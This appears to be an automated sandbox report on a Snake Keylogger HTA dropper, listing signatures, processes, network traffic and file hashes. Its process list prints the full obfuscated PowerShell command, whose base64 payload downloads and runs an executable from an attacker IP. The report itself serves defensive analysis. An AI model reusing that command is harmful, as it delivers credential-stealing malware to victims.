Malware Analysis Report

2025-08-11 06:36

Sample ID 241016-b3rkps1akj
Target 16102024_0140_niceworkingprojectforeveryone.hta
SHA256 4e7237c56ca769460022e46e7585b630f9918be1cf427c180facd3edd22e6368
Tags
snakekeylogger collection defense_evasion discovery execution keylogger stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

4e7237c56ca769460022e46e7585b630f9918be1cf427c180facd3edd22e6368

Threat Level: Known bad

The file 16102024_0140_niceworkingprojectforeveryone.hta was found to be: Known bad.

Malicious Activity Summary

snakekeylogger collection defense_evasion discovery execution keylogger stealer

Snake Keylogger

Snake Keylogger payload

Evasion via Device Credential Deployment

Blocklisted process makes network request

Downloads MZ/PE file

Executes dropped EXE

Checks computer location settings

Loads dropped DLL

Accesses Microsoft Outlook profiles

Looks up external IP address via web service

Suspicious use of SetThreadContext

AutoIT Executable

Program crash

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Suspicious use of AdjustPrivilegeToken

Modifies Internet Explorer settings

outlook_office_path

Suspicious behavior: EnumeratesProcesses

outlook_win_path

Suspicious use of WriteProcessMemory

Suspicious behavior: MapViewOfSection

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-16 01:40

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-16 01:40

Reported

2024-10-16 01:45

Platform

win10v2004-20241007-en

Max time kernel

143s

Max time network

205s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\16102024_0140_niceworkingprojectforeveryone.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

Snake Keylogger

stealer keylogger snakekeylogger

Snake Keylogger payload

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE N/A

Downloads MZ/PE file

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.dyndns.org N/A N/A

AutoIT Executable

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2364 set thread context of 1148 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Roaming\taskhostw.exe

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\taskhostw.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4228 wrote to memory of 3172 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE
PID 4228 wrote to memory of 3172 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE
PID 4228 wrote to memory of 3172 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE
PID 3172 wrote to memory of 4168 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3172 wrote to memory of 4168 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3172 wrote to memory of 4168 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3172 wrote to memory of 4044 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 3172 wrote to memory of 4044 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 3172 wrote to memory of 4044 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 4044 wrote to memory of 3636 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 4044 wrote to memory of 3636 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 4044 wrote to memory of 3636 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 3172 wrote to memory of 2364 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Users\Admin\AppData\Roaming\taskhostw.exe
PID 3172 wrote to memory of 2364 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Users\Admin\AppData\Roaming\taskhostw.exe
PID 3172 wrote to memory of 2364 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Users\Admin\AppData\Roaming\taskhostw.exe
PID 2364 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2364 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2364 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2364 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\16102024_0140_niceworkingprojectforeveryone.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE

"C:\Windows\sysTeM32\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE" "pOwerSHelL -ex bYPAss -NOP -w 1 -c deVICECreDENtIALDEpLoyMeNt ; IeX($(IEx('[sySTeM.tExt.EncOdInG]'+[cHaR]0x3a+[CHAR]58+'UTf8.geTstrINg([SySteM.coNVeRt]'+[CHar]0X3A+[Char]58+'frOmbase64striNG('+[cHar]34+'JHhzZ1dMTGJ3cHcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtYmVSREVGSU5JdElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxR0Fnd2p0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9VLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdnVEaE5SWGRkLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmtGUlVRQWIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiS2NkY3VuVHoiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZVNwQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiTE1URWdJVnBORyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHhzZ1dMTGJ3cHc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy4yNS8yNzAvdGFza2hvc3R3LmV4ZSIsIiRFTlY6QVBQREFUQVx0YXNraG9zdHcuZXhlIiwwLDApO1N0YVJ0LVNMRUVwKDMpO1NUYXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHRhc2tob3N0dy5leGUi'+[CHAR]0x22+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex bYPAss -NOP -w 1 -c deVICECreDENtIALDEpLoyMeNt

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dq3dlhag\dq3dlhag.cmdline"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9069.tmp" "c:\Users\Admin\AppData\Local\Temp\dq3dlhag\CSCB35195D17B1A407FB26BE3F434266FBE.TMP"

C:\Users\Admin\AppData\Roaming\taskhostw.exe

"C:\Users\Admin\AppData\Roaming\taskhostw.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Users\Admin\AppData\Roaming\taskhostw.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2364 -ip 2364

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2364 -s 744

Network

Country Destination Domain Proto
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 172.245.123.25:80 172.245.123.25 tcp
US 8.8.8.8:53 25.123.245.172.in-addr.arpa udp
US 8.8.8.8:53 checkip.dyndns.org udp
BR 132.226.247.73:80 checkip.dyndns.org tcp
US 8.8.8.8:53 reallyfreegeoip.org udp
US 172.67.177.134:443 reallyfreegeoip.org tcp
US 8.8.8.8:53 73.247.226.132.in-addr.arpa udp
US 8.8.8.8:53 134.177.67.172.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 75.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp

Files

memory/3172-0-0x0000000070C5E000-0x0000000070C5F000-memory.dmp

memory/3172-1-0x0000000002670000-0x00000000026A6000-memory.dmp

memory/3172-3-0x0000000070C50000-0x0000000071400000-memory.dmp

memory/3172-2-0x00000000051A0000-0x00000000057C8000-memory.dmp

memory/3172-5-0x0000000004FB0000-0x0000000004FD2000-memory.dmp

memory/3172-4-0x0000000070C50000-0x0000000071400000-memory.dmp

memory/3172-6-0x00000000058D0000-0x0000000005936000-memory.dmp

memory/3172-7-0x0000000005940000-0x00000000059A6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_35eytudp.rrb.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3172-17-0x00000000059B0000-0x0000000005D04000-memory.dmp

memory/3172-18-0x0000000005F80000-0x0000000005F9E000-memory.dmp

memory/3172-19-0x0000000005FB0000-0x0000000005FFC000-memory.dmp

memory/4168-30-0x000000006D510000-0x000000006D55C000-memory.dmp

memory/4168-29-0x0000000007780000-0x00000000077B2000-memory.dmp

memory/4168-40-0x0000000007760000-0x000000000777E000-memory.dmp

memory/4168-41-0x00000000077D0000-0x0000000007873000-memory.dmp

memory/4168-42-0x0000000007F50000-0x00000000085CA000-memory.dmp

memory/4168-43-0x0000000007900000-0x000000000791A000-memory.dmp

memory/4168-44-0x0000000007970000-0x000000000797A000-memory.dmp

memory/4168-45-0x0000000007B80000-0x0000000007C16000-memory.dmp

memory/4168-46-0x0000000007B00000-0x0000000007B11000-memory.dmp

memory/4168-47-0x0000000007B30000-0x0000000007B3E000-memory.dmp

memory/4168-48-0x0000000007B40000-0x0000000007B54000-memory.dmp

memory/4168-49-0x0000000007C40000-0x0000000007C5A000-memory.dmp

memory/4168-50-0x0000000007C20000-0x0000000007C28000-memory.dmp

\??\c:\Users\Admin\AppData\Local\Temp\dq3dlhag\dq3dlhag.cmdline

MD5 ce2ca4fde56c4f762eb195764e196332
SHA1 8beb6a3d549463ede47c2733af27229db814fdbd
SHA256 06fcbc079c63dde058bfe8c2cc733ac1f86aa4b0cfdc9864868016c4edeb57c7
SHA512 84f68ec0bf8ed38257a40e2f4bafec8dff9ab332568f36cf4b97fed7c5a771260de879dfeafc723f3aeb91e0e08d3d549da4bc963b2e911665d1c6a112ea820e

\??\c:\Users\Admin\AppData\Local\Temp\dq3dlhag\dq3dlhag.0.cs

MD5 ecc2c10cb4c5954e2d5156bce54e41f4
SHA1 2d7cde31f9942c1dc80c493c03d675962991bf31
SHA256 21d7b2d886e9a8c3cf70d60b612151ecf35df156524dda00bc5f0c14df45b3ac
SHA512 bfce3f87e8f97f1a8f149c7f3e172e312019a4189fd1e33bdb7d2c617c6bbf41f548e91c12f71b5e8215397138ea643430f0ee87d72b33760c0dd2e3b8ae4d96

\??\c:\Users\Admin\AppData\Local\Temp\dq3dlhag\CSCB35195D17B1A407FB26BE3F434266FBE.TMP

MD5 3fe6ab35aa55017b445a67534b2aba81
SHA1 2b7a1729f880cf517f3e8a3d753c42f1496daaa7
SHA256 c80c593e93bf178016d47d1307b1584889fe9328429ae69453fdea9076272db9
SHA512 9178bd18bb93be708c5608dcc0ad0950d3ed143c9b41db091789464c6c2f132c0c9965bfa3826f49fbee332ae60e40048ff5a0ce0190c437f4f03d0a4e008900

C:\Users\Admin\AppData\Local\Temp\RES9069.tmp

MD5 6477e6f0f98432e7062a98ae035d719d
SHA1 6f7f283a5edd8f65defd87d05df5a0bb4fdc1648
SHA256 ab3de7f0a290228a77605b599c4843c227a30c08e4b84ac3e604ee46cfa38d57
SHA512 9a69ba9a3fb093cccc63b47f68353efb11e9c65811efa3d2b704e68c7ccab99a13550cc8cb95072cf7b5df03cebdb629ac9de1404d84cd509cc01c5ab0f86def

memory/3172-65-0x0000000006520000-0x0000000006528000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\dq3dlhag\dq3dlhag.dll

MD5 c5e971606b36ef8ac72ae3bcb38999a0
SHA1 99d16e47077b23a073c43e8af25cc34bb759d358
SHA256 de910001bd7f26e9db5d21d3f374330bec8e05683d313faca2cbe00826481d14
SHA512 882720d24a5f4e1fe519801b23035ca4bc3ef96ec46fd71f33a1eed870136d4a2f5be010636538831cb6fcfec9664f97c243ac4baa0c454e8d6de3b0b4ecd0ce

memory/3172-71-0x0000000070C5E000-0x0000000070C5F000-memory.dmp

memory/3172-72-0x0000000070C50000-0x0000000071400000-memory.dmp

memory/3172-73-0x0000000070C50000-0x0000000071400000-memory.dmp

memory/3172-74-0x0000000007350000-0x0000000007372000-memory.dmp

memory/3172-75-0x0000000008410000-0x00000000089B4000-memory.dmp

C:\Users\Admin\AppData\Roaming\taskhostw.exe

MD5 3e2f27edd3deacd8f08f6ed1133b2040
SHA1 060e3218949c5a006bb8607e8228e6539b737bfb
SHA256 163a25e2b68ed09eb4cf82f28c87568969091764bdfb4140b4675a00e2d2ed86
SHA512 da437c39e3337f6750c3b9353c71999c16415ec1fecdaa4bba676bb12207cb51a7258b91b175d1893ae4e9111fa9ccf027151ad7527d9d78df59f86436cfdb42

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PoweRsHELl.ExE.log

MD5 3d086a433708053f9bf9523e1d87a4e8
SHA1 b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28
SHA256 6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69
SHA512 931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 93aff0527ee852bd4f2758ff570a5bdd
SHA1 b2c2ec10c6e4227c42772d08246bfcc3054a707f
SHA256 63b2bd55be9abfbacc3e3de76d85d65fbbcb603662511d8cc27ad67fadc8c843
SHA512 b4be0c3b80c46f6c9c63748ac4e6c76e4853c4093cd201f6844560e05784386728c12fbde7a9f800ef147d7e715ac770b2cf98fb952ccfd3ee9a03bfba8568e9

memory/3172-89-0x0000000070C50000-0x0000000071400000-memory.dmp

memory/1148-92-0x0000000000400000-0x0000000000426000-memory.dmp

memory/1148-93-0x0000000004FA0000-0x000000000503C000-memory.dmp

memory/1148-94-0x0000000006120000-0x0000000006170000-memory.dmp

memory/1148-95-0x0000000006340000-0x0000000006502000-memory.dmp

memory/1148-96-0x0000000006210000-0x00000000062A2000-memory.dmp

memory/1148-97-0x00000000061D0000-0x00000000061DA000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-16 01:40

Reported

2024-10-16 01:45

Platform

win7-20240729-en

Max time kernel

240s

Max time network

243s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\16102024_0140_niceworkingprojectforeveryone.hta"

Signatures

Snake Keylogger

stealer keylogger snakekeylogger

Snake Keylogger payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE N/A

Downloads MZ/PE file

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.dyndns.org N/A N/A

AutoIT Executable

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2896 set thread context of 2440 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\taskhostw.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2528 wrote to memory of 2316 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE
PID 2528 wrote to memory of 2316 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE
PID 2528 wrote to memory of 2316 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE
PID 2528 wrote to memory of 2316 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE
PID 2316 wrote to memory of 2824 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2316 wrote to memory of 2824 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2316 wrote to memory of 2824 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2316 wrote to memory of 2824 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2316 wrote to memory of 2868 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2316 wrote to memory of 2868 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2316 wrote to memory of 2868 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2316 wrote to memory of 2868 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2868 wrote to memory of 2772 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2868 wrote to memory of 2772 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
